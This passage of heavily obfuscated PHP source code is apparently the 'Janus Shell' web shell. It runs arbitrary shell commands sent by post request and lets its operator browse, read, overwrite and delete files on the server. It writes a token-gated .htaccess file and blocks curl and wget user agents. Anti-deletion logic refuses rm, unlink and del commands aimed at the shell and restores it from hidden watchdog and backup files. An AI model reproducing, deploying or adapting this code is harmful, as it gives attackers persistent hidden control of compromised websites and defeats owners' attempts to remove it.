"\43\40\104\151\163\141\142\154\145\x20\x64\x69\162\145\x63\x74\157\x72\171\40\x6c\151\x73\164\x69\156\147\xa"; goto hjAmP; pBmGu: $sE6ux .= "\x23\x20\x42\154\x6f\x63\153\40\x73\165\x73\x70\x69\143\151\157\165\163\x20\x72\145\x71\x75\145\163\x74\x20\x6d\x65\164\x68\x6f\x64\163\12"; goto gUZPe; oRQEh: $sE6ux .= "\x23\x20\x3d\x3d\x3d\x3d\75\75\x3d\75\75\x3d\75\75\75\75\75\75\x3d\75\x3d\75\75\x3d\x3d\x3d\75\x3d\75\x3d\x3d\x3d\x3d\x3d\75\x3d\75\x3d\x3d\75\x3d\x3d\x3d\x3d\x3d\x3d\12"; goto Z8bpC; kXpcI: $sE6ux .= "\x20\x20\40\40\117\162\x64\145\162\40\x44\x65\x6e\x79\x2c\x41\x6c\x6c\x6f\x77\12"; goto DMGxx; tz1ST: $sE6ux .= "\40\x20\40\x20\x52\x65\x77\x72\151\x74\x65\103\157\156\x64\x20\x25\x7b\121\x55\105\x52\x59\137\123\124\122\111\x4e\x47\x7d\40\41\152\141\x6e\x75\163\137\x74\x6f\153\x65\156\x3d{$zqG9F}\xa"; goto cFdSM; gS5nm: $sE6ux .= "\74\x49\x66\x4d\x6f\x64\165\154\145\x20\x6d\x6f\x64\x5f\162\x65\167\x72\151\164\x65\56\143\76\xa"; goto d2jfB; ou5Am: $sE6ux .= "\x3c\x2f\x49\146\x4d\x6f\144\x75\154\x65\x3e\xa\12"; goto oVkFf; R3jM0: $sE6ux .= "\x20\40\40\40\x52\x65\167\x72\x69\164\145\x43\x6f\156\x64\x20\45\173\122\105\121\x55\x45\x53\124\137\x55\x52\111\175\40\x5c\56\x28\142\x61\x6b\174\142\x61\143\153\x75\160\x7c\157\154\144\174\157\x72\151\147\174\163\x61\x76\x65\174\163\167\160\174\x74\x6d\160\x7c\154\157\147\x7c\163\161\154\174\x73\161\154\151\164\145\x7c\144\142\174\x69\x6e\151\x7c\x63\x6f\156\146\174\x63\157\156\x66\x69\147\x7c\x68\x74\141\x63\x63\x65\x73\163\174\150\164\160\141\x73\x73\x77\x64\174\147\x69\x74\174\163\166\156\x7c\x65\x6e\x76\174\x65\156\x76\x5c\x2e\x6c\157\x63\141\x6c\x7c\163\x68\x7c\142\x61\164\x7c\143\x6d\144\174\x65\x78\145\174\144\x6c\x6c\x7c\x73\x6f\174\144\171\x6c\151\x62\x29\44\x20\x5b\116\x43\x2c\x4f\122\135\12"; goto Q4bMz; B5hWV: $sE6ux .= "\43\40\x42\154\157\x63\153\40\141\143\x63\145\163\163\40\164\157\x20\142\141\143\x6b\165\x70\54\x20\x6c\x6f\x67\54\x20\x64\x61\x6e\40\163\145\156\163\x69\x74\x69\x76\145\40\146\x69\154\x65\163\12"; goto l1pru; OuG28: $sE6ux .= "\43\x20\105\x6e\150\141\156\x63\145\144\40\101\165\164\157\55\x44\x65\x66\x65\156\x64\x20\x50\162\x6f\x74\145\143\x74\151\x6f\x6e\x20\x2d\40\112\x61\x6e\x75\163\x20\x53\150\145\154\154\xa"; goto CQVQx; DMGxx: $sE6ux .= "\x20\x20\x20\40\104\145\156\171\x20\146\162\x6f\x6d\x20\141\x6c\x6c\12"; goto LrVjn; K3qMq: $sE6ux .= "\x49\x6e\144\145\170\111\147\x6e\157\162\x65\40\x2a\xa\12"; goto B5hWV; DWdVP: $zqG9F = md5($qY16M . "\112\101\116\x55\x53\x5f\x41\125\x54\117\137\104\x45\106\105\116\104\x5f" . date("\x59\55\x6d\55\144") . $rwOj3); goto ejzep; Z8bpC: if (!@file_put_contents($rE5PO, $sE6ux)) { goto kgmnI; } goto vk8vO; aeWTf: $sE6ux .= "\40\x20\x20\x20\x52\x65\x77\x72\151\x74\x65\103\157\x6e\144\x20\x25\173\x51\125\105\x52\131\x5f\123\x54\x52\111\116\x47\x7d\40\x21\x6a\x61\x6e\165\x73\x5f\164\x6f\x6b\x65\x6e\x3d{$zqG9F}\12"; goto vEjX5; vok9Q: $sE6ux .= "\x3c\x2f\x49\146\115\x6f\x64\165\154\x65\76\xa\xa"; goto ZHAju; PL4bK: $sE6ux .= "\x3c\57\x49\x66\x4d\157\144\x75\154\145\x3e\12\xa"; goto LMtO_; n3qtp: $sE6ux .= "\40\x20\x20\x20\122\x65\167\162\x69\164\145\103\x6f\x6e\144\x20\x25\x7b\110\x54\124\120\x5f\101\x43\103\x45\120\x54\175\40\x5e\x24\x20\x5b\x4f\122\135\xa"; goto hn2Pk; cE1p2: $sE6ux .= "\x20\x20\40\x20\122\145\167\x72\x69\164\x65\x52\165\154\x65\40\x5e\x28\56\52\x29\44\40\55\40\x5b\x46\54\x4c\135\xa"; goto x9gps; zuET9: $sE6ux .= "\40\40\40\x20\x52\145\167\162\151\164\145\103\x6f\156\x64\40\45\173\x48\124\x54\120\x5f\x55\123\x45\122\137\x41\x47\x45\x4e\124\175\x20\x28\x63\x75\162\x6c\x7c\167\147\x65\x74\174\160\171\164\x68\157\x6e\174\160\145\162\154\x7c\x72\165\142\171\174\x6a\x61\166\x61\174\x67\157\55\150\164\164\x70\x29\40\x5b\116\x43\x5d\12"; goto lust7; D8reh: $sE6ux .= "\x20\40\40\40\x52\x65\167\x72\151\164\x65\x52\x75\x6c\x65\40\x5e\50\56\x2a\x29\44\x20\x2d\x20\133\x46\54\x4c\x5d\xa"; goto PbQE0; U7D8f: $sE6ux .= "\40\40\x20\x20\122\145\167\162\151\164\x65\103\x6f\156\x64\40\45\x7b\x52\105\121\x55\105\x53\124\x5f\x55\122\111\x7d\40\x28\x5c\56\134\x2e\134\45\62\x66\x7c\x5c\56\x5c\x2e\x5c\45\65\143\x7c\134\56\134\x2e\x5c\x25\62\145\174\x5c\x2e\x5c\x2e\134\45\62\65\x32\146\x7c\x5c\x2e\x5c\x2e\x5c\x25\x32\65\x35\x63\x7c\134\x2e\x5c\56\x5c\x25\143\x30\x5c\x25\x61\146\174\134\56\x5c\56\x5c\45\143\61\134\45\71\143\51\40\x5b\116\x43\x5d\12"; goto sHTlt; wh00H: $sE6ux .= "\x23\x20\x53\x65\143\165\162\151\164\x79\x20\110\x65\141\x64\x65\162\x73\xa"; goto GGkCf; SRg6Z: $sE6ux .= "\40\40\40\x20\x48\x65\141\x64\x65\162\40\141\154\167\141\x79\x73\40\x73\x65\164\40\x58\55\x46\162\x61\x6d\x65\x2d\x4f\x70\164\151\x6f\156\x73\x20\x22\104\105\x4e\x59\x22\12"; goto rUT4Q; djDv4: $sE6ux .= "\x3c\57\106\x69\154\x65\163\76\12\xa"; goto DJqgg; Xsglt: } goto wCGPY; SLKdB: $fzeLt = dirname($zJsLG) . DIRECTORY_SEPARATOR . "\x2e\152\x61\156\x75\163\x5f\163\x65\143\162\145\164\137" . substr(md5($zJsLG), 0, 8); goto xLdqa; WG9CP: echo $_SERVER["\120\x48\120\x5f\x53\x45\114\x46"]; goto WPEdu; rWr34: $yluvp = false; goto lE63w; aUrjg: ob_start(); goto ihL3b; yqo_I: exit; goto w1NFW; ZQB41: A3x6D($zJsLG, $etpkF, $Yxoh6); goto oG66x; G1ubf: $_SESSION["\x6a\141\x6e\165\x73\137\141\165\x74\x68\x65\156\x74\x69\143\x61\x74\x65\x64"] = true; goto jeT10; ZcnRK: $sv0qE = json_decode($JUlBm, true); goto hbdEQ; ndKJC: $_POST = $sv0qE; goto vtjgK; qasSI: $_POST = $sv0qE; goto FarOw; NC6ql: $_SESSION["\143\x77\144"] = getcwd(); goto tvKy0; cSuWA: if (!($_SERVER["\122\x45\x51\125\105\123\x54\x5f\115\x45\124\110\x4f\104"] === "\107\x45\x54" && !isset($_POST["\x70"]) && empty($_POST))) { goto CMWuF; } goto kjN9A; L2gwj: switch ($VtInv) { case "\147\x65\x74\x5f\143\157\156\164\x65\x78\164": goto XmyrM; k1MXh: goto vbH70; goto y8ekQ; JZF7E: $v1Pog = ["\163\164\141\164\x75\163" => "\163\165\x63\143\145\x73\163", "\143\167\x64" => $_SESSION["\143\x77\x64"], "\163\171\163\151\x6e\146\157" => $TbNC1, "\x73\x68\145\154\x6c\x5f\x64\x69\x72" => dirname(__FILE__), "\x75\x73\x65\x72" => $TbNC1["\x75\x73\145\x72"], "\x68\157\163\x74\156\141\155\x65" => $TbNC1["\150\x6f\163\164\156\141\x6d\145"]]; goto k1MXh; XmyrM: $TbNC1 = cY_0B(); goto JZF7E; y8ekQ: case "\142\x72\x6f\167\x73\x65": goto JZkAA; lcNZs: foreach ($JYyBz as $Q0s1i) { goto Sirq4; H7eJv: $jFVTT = ["\x6a\141\x6e\x75\163", "\x76\56\x36\56\60", "\166\x2e\65\56\60", "\x76\56\64\56\60", "\166\x2e\63\56\60", "\x76\x2e\62\56\x30", "\x76\x2e\x31\x2e\x30", "\x6d\x69\156\151\x2d\x73\x68\x65\x6c\154"]; goto u00P1; adv_w: $wXtrg = ["\x6a\x61\x6e\165\163\x2e\x70\x68\x70", "\152\141\156\165\x73\x2d\145\156\143\x2e\160\x68\x70"]; goto D_6Mt; NI4Ex: $KLrez = $j3_hR . DIRECTORY_SEPARATOR . $Q0s1i; goto f1SvP; D_6Mt: foreach ($wXtrg as $fhQh_) { goto RLHFt; BlHgL: EoJV8: goto VRZeI; ym9BM: goto DR5cZ; goto BlHgL; RLHFt: if (!file_exists($KLrez . DIRECTORY_SEPARATOR . $fhQh_)) { goto EoJV8; } goto btUci; VRZeI: CZ0Jw: goto nu254; btUci: $VY4VS = true; goto ym9BM; nu254: } goto UZWI9; IpI2Z: LXsfe: goto vV74q; ZNBK7: goto Aaqnt; goto THiVP; qZudy: $p2RFD[] = ["\x6e\141\155\x65" => $Q0s1i, "\160\141\164\150" => $KLrez, "\x69\x73\x5f\x64\x69\162" => $pze38, "\x69\x73\137\x6a\x61\156\165\x73\x5f\x66\x6f\154\x64\145\162" => $VY4VS, "\163\x69\x7a\145" => $pze38 ? "\x2d" : o1uoT(filesize($KLrez)), "\x70\x65\x72\155\x73" => lCeO0($KLrez), "\146\x75\154\x6c\137\x70\145\162\155\x73" => JzJWy($KLrez), "\151\163\137\167\162\151\x74\141\142\x6c\145" => is_writable($KLrez), "\x6d\x74\151\x6d\145" => date("\131\55\x6d\x2d\x64\x20\110\x3a\151\72\x73", filemtime($KLrez))]; goto yp12B; MqIJX: if ($VY4VS) { goto g0czG; } goto H7eJv; THiVP: Cl2Tj: goto NI4Ex; Sirq4: if (!($Q0s1i === "\x2e" || $Q0s1i === "\56\56")) { goto Cl2Tj; } goto ZNBK7; UZWI9: DR5cZ: goto MqIJX; vV74q: g0czG: goto ihDW4; yp12B: Aaqnt: goto GRdlK; ihDW4: B6d4b: goto qZudy; CAr_E: $VY4VS = false; goto pER1C; u00P1: foreach ($jFVTT as $G6Mdr) { goto z7sd5; i7g80: ZrZWV: goto ksXdq; eNJLW: $VY4VS = true; goto VhkGt; z7sd5: if (!(stripos($Q0s1i, $G6Mdr) !== false)) { goto ZrZWV; } goto eNJLW; VhkGt: goto LXsfe; goto i7g80; ksXdq: x3JE2: goto D_Fcd; D_Fcd: } goto IpI2Z; f1SvP: $pze38 = is_dir($KLrez); goto CAr_E; pER1C: if (!($pze38 && $Q0s1i !== "\56\x2e")) { goto B6d4b; } goto adv_w; GRdlK: } goto WWlIV; fNJcb: $j3_hR = $_SESSION["\143\x77\144"]; goto sDUJ0; tMVnn: if (!($j3_hR !== "\57")) { goto YcXLv; } goto YiLah; ZFBAS: $JYyBz = scandir($j3_hR); goto lcNZs; KA5XJ: if (!(!$j3_hR || !is_dir($j3_hR))) { goto JUpu2; } goto fNJcb; Holjd: $p2RFD = []; goto ZFBAS; L7eU2: $_SESSION["\143\167\144"] = $j3_hR; goto Holjd; CSp3u: $v1Pog = ["\x73\164\141\x74\x75\x73" => "\163\165\143\x63\145\163\163", "\143\x77\144" => $j3_hR, "\x66\x69\x6c\x65\163" => $p2RFD]; goto EfuNv; sfi_p: usort($p2RFD, function ($pEWTY, $dV5Pr) { goto uWkJX; uWkJX: if (!($pEWTY["\x69\x73\137\144\x69\x72"] !== $dV5Pr["\x69\163\x5f\x64\x69\162"])) { goto bFAHw; } goto hcL1g; c_GRl: bFAHw: goto wi86D; hcL1g: return $pEWTY["\x69\163\137\x64\x69\162"] ? -1 : 1; goto c_GRl; wi86D: return strcasecmp($pEWTY["\156\x61\155\145"], $dV5Pr["\156\141\155\145"]); goto B3KKC; B3KKC: }); goto tMVnn; YiLah: $qrP32 = dirname($j3_hR); goto SFN0Y; SFN0Y: array_unshift($p2RFD, ["\x6e\x61\x6d\145" => "\56\x2e", "\x70\x61\164\150" => $qrP32, "\151\163\x5f\x64\x69\x72" => true, "\163\x69\172\x65" => "\x2d", "\160\x65\x72\x6d\163" => lCEo0($qrP32), "\x66\165\154\154\137\160\x65\x72\155\163" => JZjWY($qrP32), "\151\163\137\167\x72\151\x74\141\142\154\x65" => is_writable($qrP32), "\x6d\x74\x69\155\145" => "\55"]); goto fvuwb; sDUJ0: JUpu2: goto L7eU2; WWlIV: F82mg: goto sfi_p; JZkAA: $j3_hR = isset($_POST["\160\141\x74\150"]) ? realpath($_POST["\x70\x61\164\150"]) : $_SESSION["\x63\167\x64"]; goto KA5XJ; fvuwb: YcXLv: goto CSp3u; EfuNv: goto vbH70; goto Y2Wkl; Y2Wkl: case "\147\x65\x74\137\x66\x69\x6c\145\137\143\157\x6e\164\145\156\164": goto PKtkp; R74Z5: if (is_file($Q0s1i) && is_readable($Q0s1i)) { goto Zy6p9; } goto bU5ot; PKtkp: $Q0s1i = $_POST["\x70\141\164\x68"]; goto R74Z5; msLra: fRlVb: goto t9gDA; t9gDA: goto vbH70; goto k_xSF; bU5ot: $v1Pog["\155\145\163\x73\141\x67\145"] = "\106\x69\x6c\145\x20\156\157\x74\x20\146\x6f\x75\156\x64\x20\157\162\x20\x6e\x6f\x74\40\162\x65\141\144\141\142\154\145\x2e"; goto w84ge; w84ge: goto fRlVb; goto ZNsdM; qZEky: $v1Pog = ["\163\164\141\x74\x75\163" => "\163\x75\143\143\145\x73\163", "\x63\x6f\x6e\164\x65\156\164" => file_get_contents($Q0s1i)]; goto msLra; ZNsdM: Zy6p9: goto qZEky; k_xSF: case "\x73\141\x76\x65\x5f\146\x69\154\x65": goto lLcj7; brXhu: $Lrz4Z = $_POST["\x63\x6f\156\164\145\156\164"]; goto lEzyB; lEzyB: if (file_put_contents($j3_hR, $Lrz4Z) !== false) { goto U0y8g; } goto Q3lAz; Jt3ik: bITwX: goto AQw1S; PLgWE: goto bITwX; goto LIbc5; lLcj7: $j3_hR = $_POST["\x70\141\164\x68"]; goto brXhu; Eoh8z: $v1Pog = ["\x73\164\141\164\x75\163" => "\163\x75\143\143\x65\163\163", "\155\145\x73\x73\141\147\x65" => "\106\x69\x6c\145\40\163\141\166\145\x64\x20\163\165\143\x63\x65\163\163\146\x75\154\x6c\x79\x2e"]; goto Jt3ik; LIbc5: U0y8g: goto Eoh8z; Q3lAz: $v1Pog["\155\x65\163\163\x61\147\145"] = "\105\x72\x72\x6f\x72\x20\163\x61\166\151\x6e\x67\40\146\x69\154\145\x2e"; goto PLgWE; AQw1S: goto vbH70; goto NEZx4; NEZx4: case "\145\x78\145\x63": goto UZHD9; Js_68: $sCZwd = trim($I5WkF[1]); goto kSKFO; zXAsh: $v1Pog = ["\x73\164\x61\x74\165\x73" => "\x73\165\x63\143\x65\x73\x73", "\157\x75\164\160\x75\164" => '', "\143\167\144" => $_SESSION["\143\167\x64"]]; goto Yuf7s; xuvIs: if (!file_exists($etpkF)) { goto Z20oC; } goto vOsAd; g7eFq: if (preg_match("\57\136\143\144\134\x73\53\x28\56\52\51\x24\x2f\151", $oZAH8, $I5WkF)) { goto BF4y4; } goto WUQvE; Zy2KL: FHSlj: goto jgfoG; fVYIW: vlTGA: goto Zy2KL; bXDJJ: $BKvy0 = "\x43\x68\141\x6e\147\145\144\x20\144\151\x72\x65\143\164\157\x72\171\40\x74\x6f\40" . $_SESSION["\143\x77\x64"]; goto fVYIW; jgfoG: $v1Pog = ["\x73\x74\141\164\x75\x73" => "\163\165\143\x63\x65\163\163", "\157\165\164\160\x75\164" => htmlspecialchars((string) $BKvy0), "\x63\167\x64" => $_SESSION["\x63\167\144"]]; goto F3RiJ; OskWm: if (!preg_match("\57\x5c\x62\50\162\155\174\x75\156\x6c\x69\x6e\153\174\144\145\154\x7c\144\145\x6c\x65\x74\x65\x29\x5c\x73\53\57\x69", $oZAH8)) { goto FrI4D; } goto coBLd; jbPEw: luy6I: goto FIPeY; UZHD9: if (!empty(trim($_POST["\143\x6d\x64"]))) { goto luy6I; } goto zXAsh; mMvJU: $nZiB9 = basename($QEiJ4); goto U_DSn; sCYTy: $QEiJ4 = __FILE__; goto GQizO; qU8CA: $BKvy0 = "\x44\x69\x72\145\143\164\157\x72\x79\40\156\x6f\x74\40\x66\x6f\165\x6e\144\40\157\162\x20\x70\145\162\155\151\163\x73\151\157\x6e\x20\144\x65\x6e\151\x65\144\x3a\40" . htmlspecialchars($sCZwd); goto vab2b; h_b5F: unset($kmHPp); goto fIVfH; F3RiJ: goto vbH70; goto GmkvT; UfHJJ: $BKvy0 = "\x57\x41\x52\116\x49\x4e\x47\72\40\123\x68\145\x6c\154\x20\144\x65\154\x65\x74\x69\x6f\156\40\x64\x65\164\145\143\164\x65\144\x20\x61\x6e\x64\40\x72\145\163\164\157\162\x65\144\x21\12" . $BKvy0; goto ftCci; X584o: BF4y4: goto Js_68; SMEZM: $v1Pog = ["\x73\x74\141\x74\x75\163" => "\x65\162\162\x6f\162", "\157\x75\x74\160\x75\164" => "\103\x6f\155\x6d\x61\156\144\x20\x62\x6c\x6f\x63\153\145\144\72\x20\x41\x74\164\x65\x6d\x70\164\40\164\x6f\x20\x64\x65\154\145\164\145\x20\160\x72\x6f\164\145\143\164\145\144\x20\163\x68\145\x6c\154\40\144\145\x74\x65\x63\164\145\144", "\x63\x77\144" => $_SESSION["\143\x77\x64"]]; goto vfD4j; vOsAd: $kmHPp = true; goto GbxFq; vpKsd: FrI4D: goto g7eFq; iCYjM: F9i3i: goto smhWG; coBLd: if (!(stripos($oZAH8, $nZiB9) !== false || stripos($oZAH8, $ggdpe) !== false)) { goto qcGnN; } goto SMEZM; U_DSn: $HdHLn = ["\162\x6d\x5c\x73\x2b\x2e\52" . preg_quote($nZiB9, "\57"), "\165\156\154\x69\156\x6b\x5c\x73\x2a\x5c\50\56\x2a" . preg_quote($nZiB9, "\x2f"), "\162\155\134\163\53\55\x72\x66\134\163\53\x2e\x2a" . preg_quote($ggdpe, "\57"), "\x72\155\x5c\163\53\x2d\146\134\163\53\56\x2a" . preg_quote($nZiB9, "\57"), "\x64\x65\154\x5c\x73\53\56\52" . preg_quote($nZiB9, "\57"), "\144\x65\x6c\x65\164\145\134\x73\53\x2e\x2a" . preg_quote($nZiB9, "\57")]; goto w5cS5; Yuf7s: goto vbH70; goto jbPEw; Xxb7i: ZtmmD: goto OskWm; fIVfH: Z20oC: goto UfHJJ; vab2b: goto vlTGA; goto iCYjM; FIPeY: $oZAH8 = $_POST["\143\155\x64"]; goto sCYTy; dCD3G: if (file_exists($QEiJ4)) { goto I9dX8; } goto UFFQU; jZIZK: goto FHSlj; goto X584o; p06fY: qcGnN: goto vpKsd; WUQvE: $BKvy0 = ZMRP5($oZAH8 . "\40\x32\x3e\x26\61"); goto dCD3G; GQizO: $ggdpe = dirname($QEiJ4); goto mMvJU; kSKFO: if (@chdir($sCZwd)) { goto F9i3i; } goto qU8CA; ftCci: I9dX8: goto jZIZK; vfD4j: goto vbH70; goto p06fY; w5cS5: foreach ($HdHLn as $G6Mdr) { goto t9R4R; iM9Gg: goto vbH70; goto h1rnn; t9R4R: if (!preg_match("\x2f" . $G6Mdr . "\57\x69", $oZAH8)) { goto eiqdF; } goto Rf0iV; Rf0iV: $v1Pog = ["\x73\x74\x61\x74\x75\x73" => "\x65\162\x72\157\162", "\157\x75\164\x70\165\164" => "\103\x6f\x6d\155\x61\x6e\x64\x20\x62\154\157\x63\153\145\144\x3a\x20\x41\x74\x74\145\x6d\160\164\40\x74\157\40\x64\x65\154\145\x74\145\x20\x70\x72\x6f\x74\145\x63\164\145\x64\x20\163\150\145\x6c\x6c\x20\x64\145\164\x65\143\164\x65\x64", "\143\167\144" => $_SESSION["\x63\x77\x64"]]; goto iM9Gg; XLmmp: jwB4r: goto AiS9m; h1rnn: eiqdF: goto XLmmp; AiS9m: } goto Xxb7i; GbxFq: @(include_once $etpkF); goto h_b5F; smhWG: $_SESSION["\143\167\x64"] = getcwd(); goto bXDJJ; UFFQU: $etpkF = $ggdpe . DIRECTORY_SEPARATOR . "\56\x6a\x61\156\x75\163\x5f\167\141\164\x63\150\144\x6f\147\x5f" . substr(md5($QEiJ4), 0, 8) . "\56\160\x68\x70"; goto xuvIs; GmkvT: case "\144\x65\x6c\x65\x74\145": goto lvNV9; yxqKY: z1aRC: goto GsWrX; KbEXH: if (!file_exists($j3_hR . DIRECTORY_SEPARATOR . $nZiB9)) { goto mesR1; } goto ZXHO1; co0jg: kEoO1: goto m3_Wv; Cf0Aj: $QC2x2 = @realpath($j3_hR); goto AxJhG; mfrmD: if (is_dir($j3_hR)) { goto NBwqI; } goto ggtoX; ggtoX: $olcCz = @realpath($j3_hR); goto a9dQq; Qu81c: H6YzQ: goto C8S2Y; lvNV9: $j3_hR = $_POST["\160\141\164\150"]; goto CrQKs; sY7Nn: if (!($cxJYn && $ThaiK && $cxJYn === $ThaiK)) { goto j7ZU9; } goto HdHIJ; KdCjS: unset($kmHPp); goto Qu81c; s827Q: if (!($QC2x2 && $HkI9D && $QC2x2 === $HkI9D)) { goto eNwjD; } goto Rp1gP; kIlGH: @(include_once $Yxoh6); goto ix5o9; ZXHO1: $v1Pog = ["\163\164\141\x74\x75\163" => "\x65\162\x72\157\x72", "\x6d\x65\163\x73\x61\x67\x65" => "\x43\141\x6e\156\x6f\164\40\x64\x65\154\x65\x74\145\40\x64\151\x72\x65\143\x74\x6f\162\x79\x20\x63\x6f\x6e\164\141\x69\x6e\151\x6e\147\x20\x70\x72\157\x74\x65\143\164\x65\144\x20\x73\150\x65\154\x6c"]; goto DfDDj; FEEZ2: $Yxoh6 = $ggdpe . DIRECTORY_SEPARATOR . "\56\152\141\x6e\x75\163\137\x62\x61\143\153\x75\160\137" . substr(md5($QEiJ4), 0, 12) . "\x2e\x70\x68\x70"; goto GRe04; a6uBB: goto vbH70; goto oj0UH; hXA_H: $v1Pog = ["\x73\x74\x61\164\165\x73" => "\145\x72\x72\x6f\162", "\155\145\x73\163\x61\147\x65" => "\x43\141\156\x6e\157\x74\40\144\145\154\145\x74\x65\x20\155\x61\151\156\x20\x73\150\x65\154\x6c\40\x2d\40\x50\162\157\x74\145\143\164\145\x64\x20\142\x79\x20\141\x6e\164\x69\55\x64\145\154\145\x74\145\x20\163\171\x73\164\x65\x6d"]; goto I1ABG; tGRDi: $nZiB9 = basename($QEiJ4); goto Cf0Aj; WDuwx: $PZWZj = dirname($j3_hR); goto ejHgm; tvA7r: goto vbH70; goto F7VzT; Wxbeq: hYQCh: goto FFraB; v26Yh: goto vbH70; goto DS3V3; ZqkmC: $v1Pog = ["\x73\x74\x61\164\x75\163" => "\145\x72\x72\157\162", "\x6d\145\x73\x73\141\147\x65" => "\103\x61\x6e\x6e\x6f\164\40\144\145\x6c\x65\x74\145\x20\x6d\x61\151\156\x20\163\x68\145\154\154\40\x2d\x20\120\162\157\x74\x65\x63\164\x65\144\x20\x62\171\x20\x61\156\164\151\x2d\144\x65\154\145\164\145\40\x73\x79\x73\164\145\155"]; goto tvA7r; m3_Wv: $v1Pog = ["\163\x74\x61\164\165\x73" => "\x73\165\x63\143\145\x73\163", "\155\x65\x73\x73\x61\x67\145" => "\x46\151\x6c\145\x20\x64\x65\154\x65\x74\145\x64\56"]; goto zZPL4; Rp1gP: $v1Pog = ["\163\164\x61\164\165\x73" => "\145\162\x72\x6f\162", "\155\x65\163\163\141\147\x65" => "\x43\141\156\x6e\157\x74\40\x64\x65\154\x65\164\145\40\155\x61\x69\156\40\x73\x68\x65\154\x6c\40\x2d\x20\120\x72\x6f\x74\145\143\164\x65\144\x20\x62\x79\x20\141\156\164\x69\x2d\x64\x65\154\x65\x74\x65\x20\163\x79\163\x74\x65\155"]; goto pY4zM; EYP2d: $ggdpe = dirname($QEiJ4); goto tGRDi; iQdN_: $v1Pog = ["\x73\164\141\x74\165\163" => "\x65\x72\x72\x6f\162", "\155\145\x73\x73\x61\147\145" => "\103\x61\x6e\x6e\157\x74\x20\144\145\x6c\145\x74\145\40\x6d\x61\x69\x6e\40\163\150\x65\x6c\x6c\40\x2d\40\120\x72\157\x74\145\143\164\145\144\x20\x62\171\x20\141\156\164\151\x2d\x64\145\x6c\x65\164\x65\40\163\x79\163\164\145\x6d"]; goto a6uBB; wFHeh: hFsNg: goto Po3Zk; xS3Lg: goto vbH70; goto IlYls; RICih: if ($oqpyj) { goto z1aRC; } goto V0jaO; zlrsV: if (!(strcasecmp($GQZ_c, $rdKfF) === 0)) { goto RAFtB; } goto ZId3W; CG0fA: $GQZ_c = str_replace(["\57", "\134"], DIRECTORY_SEPARATOR, $j3_hR); goto NcU5J; F7VzT: wLZYO: goto hMU63; j3NuU: NBwqI: goto KbEXH; UA3x4: $gQaoB = @realpath($qr3P0); goto F9vAT; FFraB: d64T_: goto zdZoq; ix5o9: a7m0A: goto XUl6j; HdHIJ: $v1Pog = ["\163\164\x61\x74\x75\163" => "\145\x72\162\157\x72", "\x6d\145\x73\x73\141\147\x65" => "\103\x61\x6e\x6e\x6f\x74\x20\144\145\x6c\145\164\x65\x20\155\141\x69\156\40\x73\x68\x65\154\154\x20\x2d\x20\x50\162\x6f\164\x65\x63\164\x65\144\x20\142\x79\40\x61\156\x74\x69\55\x64\x65\154\145\x74\x65\x20\x73\x79\163\164\x65\155"]; goto xS3Lg; wHIQW: J9GwM: goto Dgmpo; g49L8: if (!is_dir($j3_hR)) { goto rznnd; } goto Qx66i; a9dQq: if (!($olcCz && $HkI9D && $olcCz === $HkI9D)) { goto wLZYO; } goto ZqkmC; Po3Zk: if (Igctv($j3_hR)) { goto wE_11; } goto lH5zm; GRe04: if (!file_exists($etpkF)) { goto H6YzQ; } goto DqOkv; lH5zm: $v1Pog["\155\145\x73\x73\x61\147\x65"] = "\103\157\165\x6c\144\40\156\157\x74\x20\x64\145\154\x65\x74\x65\40\144\151\x72\x65\143\x74\157\x72\x79\x2e"; goto wMmeW; wMmeW: goto hYQCh; goto TbCcS; ZId3W: $v1Pog = ["\163\x74\141\164\x75\x73" => "\x65\162\x72\157\162", "\155\145\163\163\141\147\145" => "\x43\141\x6e\x6e\x6f\164\x20\144\145\154\x65\x74\x65\40\x6d\141\151\156\40\x73\150\x65\x6c\154\40\55\x20\120\x72\157\x74\x65\x63\x74\145\x64\40\142\171\x20\x61\156\x74\x69\x2d\144\145\x6c\145\164\x65\x20\x73\171\163\x74\x65\x6d"]; goto zMK30; Dgmpo: $oqpyj = @unlink($j3_hR); goto RICih; aeI4l: if (file_exists($QEiJ4)) { goto kEoO1; } goto Tm5vP; V0jaO: $v1Pog["\155\x65\163\163\141\x67\x65"] = "\x43\157\165\154\144\40\156\157\x74\x20\144\x65\154\145\x74\x65\x20\146\151\154\145\56\x20\106\x69\154\145\40\155\141\171\x20\142\x65\x20\160\x72\157\x74\x65\x63\x74\x65\x64\40\157\162\40\x6c\x6f\x63\x6b\145\x64\56"; goto Tr2yy; XUl6j: $v1Pog = ["\x73\164\x61\x74\x75\x73" => "\145\x72\x72\x6f\x72", "\155\x65\163\163\141\147\x65" => "\123\150\145\x6c\154\x20\x64\x65\x6c\x65\164\151\x6f\156\40\144\145\164\x65\143\164\145\x64\40\x61\156\x64\x20\162\145\x73\x74\x6f\162\x65\x64\x20\x2d\40\120\162\x6f\164\x65\143\164\x65\144\40\x62\171\40\x61\156\164\x69\x2d\x64\145\x6c\145\164\145\40\x73\171\163\x74\145\x6d"]; goto Kd2Mq; Qx66i: $qr3P0 = $j3_hR . DIRECTORY_SEPARATOR . $nZiB9; goto fi2cM; CrQKs: $QEiJ4 = __FILE__; goto EYP2d; zdZoq: goto vbH70; goto HMSRV; IaCbU: foreach ($Osjnh as $G6Mdr) { goto dklkY; dklkY: if (!(stripos($ur1Jt, $G6Mdr) !== false)) { goto hRXZ8; } goto FZjUZ; SWcoL: goto vbH70; goto uGftl; uGftl: hRXZ8: goto AwiJx; FZjUZ: $v1Pog = ["\163\x74\x61\x74\165\x73" => "\145\x72\x72\x6f\x72", "\x6d\x65\163\163\x61\x67\x65" => "\x43\141\156\156\x6f\x74\x20\x64\145\x6c\145\x74\x65\40\x70\x72\x6f\164\x65\x63\x74\145\x64\40\163\171\163\164\145\155\40\146\151\x6c\145\163"]; goto SWcoL; AwiJx: rjT4_: goto qdbRl; qdbRl: } goto zyGXu; KaRam: $Osjnh = ["\x2e\152\141\156\165\163\x5f\142\x61\x63\153\165\x70\x5f", "\56\x6a\141\x6e\165\163\137\167\x61\164\x63\150\x64\157\x67\x5f", "\x2e\x6a\x61\x6e\165\x73\x5f\163\145\x63\162\x65\x74\137", "\56\150\164\141\143\143\x65\163\x73"]; goto IaCbU; Tm5vP: $etpkF = $ggdpe . DIRECTORY_SEPARATOR . "\x2e\152\141\156\165\x73\x5f\x77\x61\x74\143\150\144\x6f\147\137" . substr(md5($QEiJ4), 0, 8) . "\56\160\150\x70"; goto FEEZ2; YdeFh: $yPpFX = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($j3_hR, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST); goto I3J3P; 